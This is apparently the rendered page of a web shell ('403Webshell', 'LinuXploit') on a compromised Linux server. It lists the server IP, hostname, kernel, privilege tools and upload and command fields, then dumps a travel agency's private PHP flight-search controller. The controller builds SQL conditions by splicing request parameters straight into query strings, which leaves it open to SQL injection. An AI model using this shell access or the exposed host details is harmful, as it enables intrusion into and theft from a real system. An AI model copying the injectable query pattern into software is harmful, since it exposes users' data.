403Webshell
Server IP : 103.234.187.230  /  Your IP : 216.73.216.216
Web Server : Apache
System : Linux lserver42043-ind.megavelocity.net 3.10.0-1160.108.1.el7.x86_64 #1 SMP Thu Jan 25 16:17:31 UTC 2024 x86_64
User : apache ( 48)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/b2bzend/application/controllers/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/b2bzend/application/controllers/FlightRestApiController.php
<?php
/*
***************************************************************
* Zend Framework
* @category   Zend
* @package    Zend_Rest_Controller
* @copyright  Copyright (c) 2008-2014 Zend Technologies USA Inc. (http://www.zend.com)
* @license    http://framework.zend.com/license/new-bsd     New BSD License
* @version    1.0
* @author     Pardeep Panchal <pardeep@catpl.co.in>
* @Created    02-03-2017
* @Updated    02-03-2017
* Api_PremiumController | APi Module / FlightRestApiController
**************************************************************
*/

class FlightRestApiController extends Zend_Rest_Controller{
    
    # variable declarations

    private $intLoggedinUserId = '';
    private $intLoggedinAgencyId = '';
    public $baseUrl = '';

    /* Initialize action controller here */

    public function init() {
        
        //parent::init();
        //echo "<pre>"; print_r($_SESSION)."============";exit;
        $request = Zend_Controller_Front::getInstance()->getRequest();
        $this->baseUrl = $request->getScheme() . '://' . $request->getHttpHost();
        $this->view->headScript()->appendFile($this->baseUrl . '/public/js/flight/flight.js');
        $sessionLogin_user = new Zend_Session_Namespace('sessionLogin_user');
        
        // marking session as read only locked
        $sessionLogin_user->lock();
       
        #get session variable
        $this->SupplierTypeSysId = 2;   

        $this->intLoggedinUserId         = $sessionLogin_user->intLoggedinUserId;
        $this->intLoggedinUserGroupId    = $sessionLogin_user->intLoggedinUserGroupSysId;
        $this->intLoggedinAgencyId       = $sessionLogin_user->intLoggedinUserAgencySysId;
        $this->intLoggedinUserTrxCurrency   = $sessionLogin_user->intLoggedinUserTrxCurrency;
      
        if(!empty($this->intLoggedinAgencyId)) {
            $this->InfoSourceSysId = '2'; // Information Source is Agent //
        }
        
        // unlocking read-only lock
        if ($sessionLogin_user->isLocked()) {
            $sessionLogin_user->unLock();
        }

        
    } # init


    public function indexAction()
    {
        echo "API ;)";
    }

    public function getAction()
    {
     
        $this->_helper->layout->disableLayout();
        $this->_helper->viewRenderer->setNoRender(true);
        if($this->getRequest()->getMethod() == "POST"){
            
            $flightRoute                = $this->getRequest()->getParam('flightRoute'); // 1 or 2
            $strSourceAirportCode       = $this->getRequest()->getParam('sourceAirportCode'); // DEL
            $intSourceCityId            = $this->getRequest()->getParam('sourceCityId'); // 7701
            $strDestinationAirportCode  = $this->getRequest()->getParam('destinationAirportCode'); //GOA
            $intDestinationCityId       = $this->getRequest()->getParam('destinationCityId'); // 4457
            $strDepartureDates          = $this->getRequest()->getParam('departure_dates'); //01/03/2017
            $strReturnDates             = $this->getRequest()->getParam('return_dates'); //02/03/2017
            $intAdultCount              = $this->getRequest()->getParam('adults'); // 1
            $intChildCount              = $this->getRequest()->getParam('childs'); // 0
            $intInfantCount             = $this->getRequest()->getParam('infants'); // 0
            $flightClassType            = $this->getRequest()->getParam('flightClass'); // 1,2,3 etc int
            $intLoggedInAgencySysId     = !empty($this->getRequest()->getParam('loggedInAgencySysId'))?$this->getRequest()->getParam('loggedInAgencySysId'):0; // 1,2,3 etc int
            $intLoggedInUserSysId       = !empty($this->getRequest()->getParam('loggedInUserSysId'))?$this->getRequest()->getParam('loggedInUserSysId'):0; // 1,2,3 etc int
            $resultSource               = !empty($this->getRequest()->getParam('resultSource'))?$this->getRequest()->getParam('resultSource'):"API"; // API / INV
            $intMemberCount = $intAdultCount + $intChildCount + $intInfantCount;
            
            $arrSearchParams = array(
                                'route' => $flightRoute,
                                'from' => $strSourceAirportCode,
                                'to' => $strDestinationAirportCode,
                                'sourceCityId' => $intSourceCityId,
                                'destinationCityId' => $intDestinationCityId,
                                'departure_dates' => $strDepartureDates,
                                'return_dates' => $strReturnDates,
                                'sourceCityAirportCode' => $strSourceAirportCode,
                                'destinationCityAirportCode' => $strDestinationAirportCode,
                                'flight_class' => $flightClassType,
                                'adults' => $intAdultCount,
                                'child' => $intChildCount,
                                'infant' => $intInfantCount
                            );
            
            //echo "<pre>";print_r($arrSearchParams);exit;
            //$strDepartureDates = "05/03/2017";
//            if(!empty($strDepartureDates)){
//                $arrDepatureDate = explode("/",$strDepartureDates);
//                if(!empty($arrDepatureDate) > 0){
//                    $strDepatureDate = $arrDepatureDate[2]."-".$arrDepatureDate[1]."-".$arrDepatureDate[0];//DMY
//                }
//            }
            
//            $arrSearchParams = array(
//                                'route' => '1',
//                                'from' => "DEL",
//                                'to' => "GOA",
//                                'sourceCityId' => "7701",
//                                'destinationCityId' => $intDestinationCityId,
//                                'departure_dates' => "05/03/2017",
//                                'return_dates' => "06/03/2017",
//                                'sourceCityAirportCode' => "DEL",
//                                'destinationCityAirportCode' => "GOA",
//                                'flight_class' => '1',
//                                'adults' => '1',
//                                'child' => '2',
//                                'infant' => '0'
//                            );
        
            
            if(empty($flightRoute)) {
                $response = array('status' => false, 'message' => 'Flight route can\'t be empty.','data' => '');
                echo Zend_Json::encode($response);
                exit;
            }
            if(empty($strSourceAirportCode)) {
                $response = array('status' => false, 'message' => 'Flight source airport code can\'t be empty.','data' => '');
                echo Zend_Json::encode($response);
                exit;
            }
            if(empty($strDestinationAirportCode)) {
                $response = array('status' => false, 'message' => 'Flight destination airport code can\'t be empty.','data' => '');
                echo Zend_Json::encode($response);
                exit;
            }
            
            if(empty($intSourceCityId)) {
                $response = array('status' => false, 'message' => 'Flight source City Id can\'t be empty.','data' => '');
                echo Zend_Json::encode($response);
                exit;
            }
            if(empty($intDestinationCityId)) {
                $response = array('status' => false, 'message' => 'Flight destination City Id can\'t be empty.','data' => '');
                echo Zend_Json::encode($response);
                exit;
            }
            if(empty($strDepartureDates)) {
                $response = array('status' => false, 'message' => 'Flight departure date can\'t be empty.','data' => '');
                echo Zend_Json::encode($response);
                exit;
            }
            if(empty($strReturnDates) && $flightRoute == 2) {
                $response = array('status' => false, 'message' => 'Flight return date can\'t be empty.','data' => '');
                echo Zend_Json::encode($response);
                exit;
            }
            if(empty($intAdultCount)) {
                $response = array('status' => false, 'message' => 'Flight pax can\'t be empty.','data' => '');
                echo Zend_Json::encode($response);
                exit;
            }
            
            if(empty($intLoggedInAgencySysId)) {
                $response = array('status' => false, 'message' => 'Oops! Your Agency is missing.','data' => '');
                echo Zend_Json::encode($response);
                exit;
            }
            
            if(empty($intLoggedInUserSysId)) {
                $response = array('status' => false, 'message' => 'Oops! You recognised as anonymous user.','data' => '');
                echo Zend_Json::encode($response);
                exit;
            }
            
            $objFlight = new Travel_Model_TblFlight();
            if(!empty($intSourceCityId) && !empty($intDestinationCityId)){
                $objFlight->strCondition .= " t1.SourcePlaceSysId = '".$intSourceCityId."' AND t1.DestPlaceSysId = '".$intDestinationCityId."'";
            }
            
            if(!empty($strDepartureDates)){
                $objFlight->strCondition .= " AND SUBSTRING(convert(varchar, t1.LocalFromTime, 120),0,11) = '".date("Y-m-d",strtotime($strDepartureDates))."'";
            }

//            if(!empty($strReturnDate)){
//                $objFlight->strCondition .= " AND SUBSTRING(convert(varchar, t1.LocalToTime, 120),0,11) = '".$strReturnDate."'";
//            }


            if(!empty($intMemberCount)){
               $objFlight->strCondition .= " AND t1.TotalFlightMembers = '".$intMemberCount."'"; 
            }

            $objFlight->strCondition .= " AND SUBSTRING(convert(varchar, t1.CreateDate, 120),0,11) = '".date('Y-m-d')."' ";
            
            
            $intPageNumber = !empty($this->getRequest()->getParam('page'))?$this->getRequest()->getParam('page'):'1';
            $intLimitPerPage = FLIGHT_SEARCH_PER_PAGE_LIMIT;
            
            $objFlight->strSelectedView = "list";
            $objFlight->intJourneyType = "1";
            $objFlight->intPageNo = $intPageNumber;
            $objFlight->intListPerPage = $intLimitPerPage;
            $arrSearchFlightResult = array();
            if(!empty($resultSource) && $resultSource == "API"){
                $arrSearchFlightResult = $objFlight->getFlightSearchList();
                if(count($arrSearchFlightResult) == 0){ // API Call For Flight Search...
                    
                    $apiResponse = Zend_Controller_Action_HelperBroker::getStaticHelper("Flight")->searchApiFlights($arrSearchParams);
                    //echo "<pre>"; print_r($apiResponse); exit;
                    $intResponseStatus = !empty($apiResponse['ResponseStatus'])?$apiResponse['ResponseStatus']:'0';
                    $strTraceId = !empty($apiResponse['TraceId'])?$apiResponse['TraceId']:'';
                    $localFromDateTime = date("Y-m-d h:i",strtotime($strDepartureDates));
                    $localToDateTime = date("Y-m-d h:i",strtotime($strDepartureDates));
                    if($intResponseStatus == 1 && $flightRoute == 1){
                        $arrCommonInsVariables = array(
                                    'strTraceId' => $strTraceId,
                                    'localFromDateTime' => $localFromDateTime,
                                    'localToDateTime' => $localToDateTime,
                                    'strSourceAirportCode' => $strSourceAirportCode,
                                    'strDestinationAirportCode' => $strDestinationAirportCode,
                                    'intMemberCount' => $intMemberCount,
                                    'intSourceCityId' => $intSourceCityId,
                                    'intDestinationCityId' => $intDestinationCityId,
                                    'JourneyType' => 1, // For Single Trips API Search
                                    'TripType' => 1,
                                    'loggedInAgencySysId' => $intLoggedInAgencySysId,
                                    'loggedInUserSysId' => $intLoggedInUserSysId
                                );
                        //echo "<pre>"; print_r($arrCommonInsVariables); exit;
                        $arrOutBoundFlightResults = $apiResponse['OutBoundFlightResults'];
                        $this->insertUpdateOutBoundFlightAction($arrOutBoundFlightResults,$arrCommonInsVariables); // For One Way Flights...

                        $arrSearchFlightResult = $objFlight->getFlightSearchList();
                        //echo "<pre>==="; print_r($arrSearchFlightResult); exit;
                    
                    }
                }
                
            }else if(!empty($resultSource) && $resultSource == "INV"){
                
                $objFlight = new Travel_Model_TblFlight();
                $objFlight->strCondition = "";
                if(!empty($intSourceCityId) && !empty($intDestinationCityId)){
                    $objFlight->strCondition .= " t2.SourcePlaceSysId = '".$intSourceCityId."' AND t2.DestPlaceSysId = '".$intDestinationCityId."'";
                }

                if(!empty($strDepartureDates)){
                    $objFlight->strCondition .= " AND SUBSTRING(convert(varchar, t1.FromDate, 120),0,11) = '".date("Y-m-d",strtotime($strDepartureDates))."'";
                }
                
                $objFlight->strSelectedView = "list";
                $objFlight->intJourneyType = "1";
                $objFlight->intPageNo = $intPageNumber;
                $objFlight->intListPerPage = $intLimitPerPage;
                if(!empty($intLoggedInAgencySysId)){
                    $objFlight->intLoggedinUserAgencySysId = $intLoggedInAgencySysId;
                }
                $arrSearchFlightResult = $objFlight->getFlightSearchInvList();
            }
            
            
            
            
            if(!empty($arrSearchFlightResult) ) {
                $response = array('status' => true, 'message' => 'success','data' => $arrSearchFlightResult);
                echo Zend_Json::encode($response);
                exit;
            }else{
                $response = array('status' => false, 'message' => 'No records avaliable for your search criteria.','data' => '');
                echo Zend_Json::encode($response);
                exit;
            }
            
        }else{
            $response = array('status' => false, 'message' => 'Oops! something went wrong, please check your calling method.','data' => '');
            echo Zend_Json::encode($response);
            exit;
        }
           //echo 'dssdasde';
        exit;
            
    } # end : getAction
    
   

    public function postAction() {
      // action body
    }

    public function putAction() {
      // action body
    }

    public function deleteAction() {
      // action body
    }
    
    
    
    public function insertUpdateOutBoundFlightAction($data,$arrCommonInsVariables) {
        if (!empty($data) ) {
            
            $objFlight = new Travel_Model_TblFlight();
            
            // For getting All Airlines Array
            $objAirline = new Travel_Model_TblAirline();
            $arrAirlineList = $objAirline->getAirlineIdsAndCodeList();

            // For getting All currency Array
            $objCurrency = new Travel_Model_TblCurrency();
            $arrCurrencyList = $objCurrency->getCurrencyIdsAndSymbolList();

            // For getting All Source & Destination CitySysId Array
            $objAirport = new Travel_Model_TblAirport();
            $arrCityIds = $objAirport->getCityIdsAndAirPortCodeList();
            
            
            // Fix Values.....
           
            $strTraceId         = $arrCommonInsVariables['strTraceId'];
            $localFromDateTime  = $arrCommonInsVariables['localFromDateTime'];
            $localToDateTime    = $arrCommonInsVariables['localToDateTime'];
            
            $strSourceAirportCode    = $arrCommonInsVariables['strSourceAirportCode'];
            $strDestinationAirportCode    = $arrCommonInsVariables['strDestinationAirportCode'];
            $intMemberCount    = $arrCommonInsVariables['intMemberCount'];
            $intSourceCityId    = $arrCommonInsVariables['intSourceCityId'];
            $intDestinationCityId    = $arrCommonInsVariables['intDestinationCityId'];
            $intJourneyType    = $arrCommonInsVariables['JourneyType'];
            $intTripType    = $arrCommonInsVariables['TripType'];
            $intloggedInAgencySysId    = $arrCommonInsVariables['loggedInAgencySysId'];
            $intloggedInUserSysId    = $arrCommonInsVariables['loggedInUserSysId'];
            
            $ICSourceSysId = 3; // 3 For TBO
            $IsFromAgency = 1;
            $DayLightSavingDiff = 0;
            $AirportHaultMinutes = 0;
            $Rating = 0;
            $FllightFeatureMask = 0;
            $UpdatedByISSysId = $intloggedInUserSysId;
            $CreatedByISSysId = $intloggedInUserSysId;
            $ImageTN = '';
            $ImgForList = '';
            $ImgeDetails = '';
            $UpdateDate = date('Y-m-d H:i:s');
            $CreateDate = date('Y-m-d H:i:s');
            $ApproveBy = $intloggedInUserSysId;
            $ApprovalDate = date('Y-m-d H:i:s');
            $IsApproved = '1';
            $IsActive = '1';
            $IsMarkForDel = 0;
            
            foreach ($data as $result) {
                //print_r($arrOutBoundFlights); exit; 

                $ResultIndex = $result['ResultIndex'];
                $Source = $result['Source'];
                $IsLCC = $result['IsLCC'];
                $IsRefundable = $result['IsRefundable'];
                $AirlineRemark = $result['AirlineRemark'];

                $LastTicketDate = $result['LastTicketDate'];
                $TicketAdvisory = $result['TicketAdvisory'];
                $AirlineCode = $result['AirlineCode'];
                $ValidatingAirline = $result['ValidatingAirline'];


                // Fare
                $Currency = $result['Fare']['Currency'];
                $currencySysId = !empty($arrCurrencyList[$Currency]) ? $arrCurrencyList[$Currency] : '1';
                $BaseFare = $result['Fare']['BaseFare'];
                $Tax = $result['Fare']['Tax'];
                //$OfferedFare = $result['Fare']['OfferedFare'];

                $intCalculatedBaseFare = round($BaseFare + $Tax);

                $YQTax = $result['Fare']['YQTax'];
                $AdditionalTxnFeeOfrd = $result['Fare']['AdditionalTxnFeeOfrd'];
                $AdditionalTxnFeePub = $result['Fare']['AdditionalTxnFeePub'];
                $OtherCharges = $result['Fare']['OtherCharges'];
                $Discount = $result['Fare']['Discount'];
                $PublishedFare = $result['Fare']['PublishedFare'];
                $CommissionEarned = $result['Fare']['CommissionEarned'];
                $PLBEarned = $result['Fare']['PLBEarned'];
                $IncentiveEarned = $result['Fare']['IncentiveEarned'];
                $OfferedFare = $result['Fare']['OfferedFare'];
                $TdsOnCommission = $result['Fare']['TdsOnCommission'];
                $TdsOnPLB = $result['Fare']['TdsOnPLB'];
                $TdsOnIncentive = $result['Fare']['TdsOnIncentive'];
                $ServiceFee = $result['Fare']['ServiceFee'];


                $arrFairRules = array(
                    "TBOAirInvenAPISysId" => "",
                    "Currency" => $currencySysId,
                    "BaseFare" => $BaseFare,
                    "Tax" => $Tax,
                    "YQTax" => $YQTax,
                    "AdditionalTxnFeeOfrd" => $AdditionalTxnFeeOfrd,
                    "AdditionalTxnFeePub" => $AdditionalTxnFeePub,
                    "OtherCharges" => $OtherCharges,
                    "Discount" => $Discount,
                    "ServiceFee" => $ServiceFee,
                    "PublishedFare" => $PublishedFare,
                    "CommissionEarned" => $CommissionEarned,
                    "PLBEarned" => $PLBEarned,
                    "IncentiveEarned" => $IncentiveEarned,
                    "OfferedFare" => $OfferedFare,
                    "TdsOnCommission" => $TdsOnCommission,
                    "TdsOnPLB" => $TdsOnPLB,
                    "TdsOnIncentive" => $TdsOnIncentive,
                    "UpdateDate" => $UpdateDate,
                    "CreateDate" => $CreateDate,
                    "IsActive" => $IsActive,
                    "IsMarkForDel" => $IsMarkForDel
                );




                $AirlineCode = $result['Segments'][0][0]['Airline']['AirlineCode'];
                $FlightNumber = $result['Segments'][0][0]['Airline']['FlightNumber'];
                $strFlightNumber = $AirlineCode . "-" . $FlightNumber;
                $strFareClass = $result['Segments'][0][0]['Airline']['FareClass'];

                if (!empty($result['Segments'][0]) ) {
                    $FlyingMinutes = 0;
                    $originDepTime = $result['Segments'][0][0]['Origin']['DepTime'];
                    foreach ($result['Segments'][0] as $segmentsResult) {
                        $Duration = $segmentsResult['Duration'];
                        $FlyingMinutes = $FlyingMinutes + trim($segmentsResult['Duration']);
                        $destinationArrTime = $segmentsResult['Destination']['ArrTime'];


                        // FOR FLIGHT SEGMENTS.....
                        $strBaggage = $segmentsResult['Baggage'];
                        $strCabinBaggage = $segmentsResult['CabinBaggage'];
                        $TripIndicator = $segmentsResult['TripIndicator'];
                        $SegmentIndicator = $segmentsResult['SegmentIndicator'];

                        $strAirlineCode = $segmentsResult['Airline']['AirlineCode'];
                        $AirlineName = $segmentsResult['Airline']['AirlineName'];
                        $FlightNumber = $segmentsResult['Airline']['FlightNumber'];
                        $FareClass = $segmentsResult['Airline']['FareClass'];

                        $originAirportCode = $segmentsResult['Origin']['Airport']['AirportCode'];
                        $originDepTime = $segmentsResult['Origin']['DepTime'];

                        $destinationAirportCode = $segmentsResult['Destination']['Airport']['AirportCode'];
                        $destinationArrTime = $segmentsResult['Destination']['ArrTime'];

                        $Duration = $segmentsResult['Duration'];
                        $GroundTime = $segmentsResult['GroundTime'];
                        $Mile = $segmentsResult['Mile'];
                        $StopOver = $segmentsResult['StopOver'];
                        $StopPoint = $segmentsResult['StopPoint'];
                        $StopPointArrivalTime = $segmentsResult['StopPointArrivalTime'];
                        $StopPointDepartureTime = $segmentsResult['StopPointDepartureTime'];
                        $Craft = $segmentsResult['Craft'];
                        $Remark = $segmentsResult['Remark'];
                        $IsETicketEligible = $segmentsResult['IsETicketEligible'];
                        $FlightStatus = $segmentsResult['FlightStatus'];
                        $Status = $segmentsResult['Status'];



                        $arrSegments = array(
                            "AirInvenAPISysId" => '',
                            "TripIndicator" => $TripIndicator,
                            "Baggage" => $strBaggage,
                            "CabinBaggage" => $strCabinBaggage,
                            "SegmentIndicator" => $SegmentIndicator,
                            "Duration" => $Duration,
                            "GroundTime" => $GroundTime,
                            "Mile" => $Mile,
                            "StopOver" => $StopOver,
                            "StopPoint" => $StopPoint,
                            "StopPointArrivalTime" => $StopPointArrivalTime,
                            "Craft" => $Craft,
                            "Remark" => $Remark,
                            "IsETicketEligible" => $IsETicketEligible,
                            "FlightStatus" => $FlightStatus,
                            "Status" => $Status
                        );
                        // FOR FLIGHT SEGMENTS.....
                    }
                }

//                                        $originDepTime = $segmentsResult['Origin']['DepTime'];
//                                        $destinationArrTime = $segmentsResult['Destination']['ArrTime'];
                // Fare
                $airlineSysId = !empty($arrAirlineList[$result['AirlineCode']]) ? $arrAirlineList[$result['AirlineCode']] : '0';


                $FlyingMinutes = $FlyingMinutes;
                if (count($result['Segments'][0]) > 1) {
                    $SegmentsCount = count($result['Segments'][0]);
                    $StopCount = $SegmentsCount - 1;
                    $IsDirect = '0';
                } else {
                    $StopCount = '0';
                    $IsDirect = '1';
                }

                $arrInsertFlightData = array();
                $arrInsertFlightData['FlightNumber'] = $strFlightNumber;
                $arrInsertFlightData['AirInvenSysId'] = 0;
                $arrInsertFlightData['IsLCC'] = $IsLCC;
                $arrInsertFlightData['apiTraceId'] = $strTraceId;
                $arrInsertFlightData['AirlineSysId'] = $airlineSysId;
                $arrInsertFlightData['ICSourceSysId'] = $ICSourceSysId;
                $arrInsertFlightData['IsFromAgency'] = $IsFromAgency;
                $arrInsertFlightData['LocalFromTime'] = $localFromDateTime;
                $arrInsertFlightData['FromUTCTime'] = $originDepTime;
                $arrInsertFlightData['LocalToTime'] = $localToDateTime;
                $arrInsertFlightData['ToUTCTime'] = $destinationArrTime;
                $arrInsertFlightData['IsDirect'] = $IsDirect;
                $arrInsertFlightData['FareClass'] = $strFareClass;
                $arrInsertFlightData['DayLightSavingDiff'] = $DayLightSavingDiff;
                $arrInsertFlightData['FlyingMinutes'] = $FlyingMinutes;
                $arrInsertFlightData['SourcePlaceSysId'] = $intSourceCityId;
                $arrInsertFlightData['DestPlaceSysId'] = $intDestinationCityId;
                $arrInsertFlightData['SourceAirportCode'] = $strSourceAirportCode;
                $arrInsertFlightData['DestAirportCode'] = $strDestinationAirportCode;
                $arrInsertFlightData['AirportHaultMinutes'] = $AirportHaultMinutes;
                $arrInsertFlightData['StopCount'] = $StopCount;
                $arrInsertFlightData['Stops'] = '';
                $arrInsertFlightData['TotalFlightMembers'] = $intMemberCount;
                $arrInsertFlightData['CurrencyType'] = $currencySysId;
                $arrInsertFlightData['PublishedFare'] = $OfferedFare; // As Discussed with GG
                $arrInsertFlightData['CommissionEarned'] = $CommissionEarned;
                $arrInsertFlightData['ApiResultIndex'] = $ResultIndex;
                $arrInsertFlightData['JourneyType'] = $intJourneyType;
                $arrInsertFlightData['TripType'] = $intTripType;
                $arrInsertFlightData['Rating'] = $Rating;
                $arrInsertFlightData['FllightFeatureMask'] = $FllightFeatureMask;
                $arrInsertFlightData['UpdatedByISSysId'] = $UpdatedByISSysId;
                $arrInsertFlightData['CreatedByISSysId'] = $CreatedByISSysId;
                $arrInsertFlightData['ImageTN'] = $ImageTN;
                $arrInsertFlightData['ImgForList'] = $ImgForList;
                $arrInsertFlightData['ImgeDetails'] = $ImgeDetails;
                $arrInsertFlightData['UpdateDate'] = $UpdateDate;
                $arrInsertFlightData['CreateDate'] = $CreateDate;
                $arrInsertFlightData['ApproveBy'] = $ApproveBy;
                $arrInsertFlightData['ApprovalDate'] = $ApprovalDate;
                $arrInsertFlightData['IsApproved'] = $IsApproved;
                $arrInsertFlightData['IsActive'] = $IsActive;
                $arrInsertFlightData['IsMarkForDel'] = $IsMarkForDel;

                $intFlightLastInsertId = $objFlight->addFlightDetails($arrInsertFlightData);
                $AirInvenSysId = $intFlightLastInsertId;

                // FOR FLIGHT FAIR-RULES.....
                $arrFairRules['TBOAirInvenAPISysId'] = $AirInvenSysId;
                $objFlight->addFlightFairRuleDetails($arrFairRules);
                // FOR FLIGHT FAIR-RULES.....
                // FOR FLIGHT SEGMENTS.....
                $arrSegments['AirInvenAPISysId'] = $AirInvenSysId;
                $objFlight->addFlightSegmentsDetails($arrSegments);
                // FOR FLIGHT SEGMENTS.....
                
                
                
                if(!empty($result['FareBreakdown'])){
                    foreach ($result['FareBreakdown'] as $fareBreakdown) {

                        $Currency = $fareBreakdown['Currency'];
                        $PassengerType = $fareBreakdown['PassengerType'];
                        $PassengerCount = $fareBreakdown['PassengerCount'];
                        $BaseFare = $fareBreakdown['BaseFare'];
                        $Tax = $fareBreakdown['Tax'];
                        $YQTax = $fareBreakdown['YQTax'];
                        $AdditionalTxnFeeOfrd = $fareBreakdown['AdditionalTxnFeeOfrd'];
                        $AdditionalTxnFeePub = $fareBreakdown['AdditionalTxnFeePub'];
                        $arrFareBreakdown = array(
                            "TBQAirInvenAPISysId" => $AirInvenSysId,
                            "Currency" => $currencySysId,
                            "PassengerType" => $PassengerType,
                            "PassengerCount" => $PassengerCount,
                            "BaseFare" => $BaseFare,
                            "Tax" => $Tax,
                            "YQTax" => $YQTax,
                            "AdditionalTxnFeeOfrd" => $AdditionalTxnFeeOfrd,
                            "AdditionalTxnFeePub" => $AdditionalTxnFeePub
                        );
                        $objFlight->addFlightFareBreakdown($arrFareBreakdown);
                    }
                }
                
                
                
                
                
                
                if ($IsDirect == 0) {
                    $tempFlightNumber = "";
                    $IsFlightChange = 0;
                    //$changedFlightNumber = "";
                    $FlyingMinutes = 0;
                    $intSegmentsCount = 0;
                    //$firstFlightNumber = "";
                    foreach ($result['Segments'][0] as $segmentsResult) {

                        $TripIndicator = $segmentsResult['TripIndicator'];
                        $SegmentIndicator = $segmentsResult['SegmentIndicator'];
                        $FlightNumber = $segmentsResult['Airline']['FlightNumber'];

//                                            if($firstFlightNumber == ""){
//                                                $firstFlightNumber = $FlightNumber;
//                                            }

                        if (!empty($tempFlightNumber) && $tempFlightNumber != $FlightNumber) {
                            $IsFlightChange = 1;
                            $NewFInvenSysId = $AirInvenSysId;
                        } elseif (!empty($tempFlightNumber) && $tempFlightNumber == $FlightNumber) {
                            $IsFlightChange = 2;
                            $NewFInvenSysId = $AirInvenSysId;
                        } else {
                            $IsFlightChange = 0;
                            $NewFInvenSysId = '';
                        }
                        $tempFlightNumber = $FlightNumber;

                        $AirlineName = $segmentsResult['Airline']['AirlineName'];
                        $FareClass = $segmentsResult['Airline']['FareClass'];

                        $originAirportCode = $segmentsResult['Origin']['Airport']['AirportCode'];
                        $originDepTime = $segmentsResult['Origin']['DepTime'];

                        $destinationAirportCode = $segmentsResult['Destination']['Airport']['AirportCode'];
                        $destinationArrTime = $segmentsResult['Destination']['ArrTime'];

                        $SourcePlaceSysId = !empty($arrCityIds[$originAirportCode]) ? $arrCityIds[$originAirportCode] : '0';
                        $DestPlaceSysId = !empty($arrCityIds[$destinationAirportCode]) ? $arrCityIds[$destinationAirportCode] : '0';
                        $Duration = $segmentsResult['Duration'];
                        $FlyingMinutes = $FlyingMinutes + trim($segmentsResult['Duration']);
                        $GroundTime = $segmentsResult['GroundTime'];
                        $Mile = $segmentsResult['Mile'];
                        $StopOver = $segmentsResult['StopOver'];
                        $StopPoint = $segmentsResult['StopPoint'];
                        $StopPointArrivalTime = $segmentsResult['StopPointArrivalTime'];
                        $StopPointDepartureTime = $segmentsResult['StopPointDepartureTime'];
                        $Craft = $segmentsResult['Craft'];
                        $Remark = $segmentsResult['Remark'];
                        $IsETicketEligible = $segmentsResult['IsETicketEligible'];
                        $FlightStatus = $segmentsResult['FlightStatus'];
                        $Status = $segmentsResult['Status'];


                        $arrFlightStopsInsert = array(
                            "TBQAirInvenSysId" => $AirInvenSysId,
                            "SourcePlaceSysId" => $SourcePlaceSysId,
                            "Sequance" => $SegmentIndicator,
                            "DestPlaceSysId" => $DestPlaceSysId,
                            "StayDuration" => $GroundTime,
                            "FlightDuration" => $Duration,
                            "AirlineCode" => $AirlineCode,
                            "AirlineName" => $AirlineName,
                            "FlightNumber" => $FlightNumber,
                            "FareClass" => $FareClass,
                            "OriginAirportCode" => $originAirportCode,
                            "DestinationAirportCode" => $destinationAirportCode,
                            "IsFlightChange" => $IsFlightChange,
                            "NewFInvenSysId" => $NewFInvenSysId,
                            "ArrivalTime" => $destinationArrTime,
                            "DepartureTime" => $originDepTime,
                            "HaultInclusions" => '',
                            "CurrencyType" => $currencySysId,
                            "PublishedFare" => $PublishedFare,
                            "CommissionEarned" => $CommissionEarned,
                            "CreateDate" => $CreateDate,
                            "UpdateDate" => $UpdateDate,
                            "IsActive" => $IsActive,
                            "IsMarkForDelete" => $IsMarkForDel
                        );
                        $objFlight->addFlightStopsDetails($arrFlightStopsInsert);
                        $intSegmentsCount++;
                    }
                }
            } // Foreach ends 
        }
    }
    
    

} 

Youez - 2016 - github.com/yon3zu
LinuXploit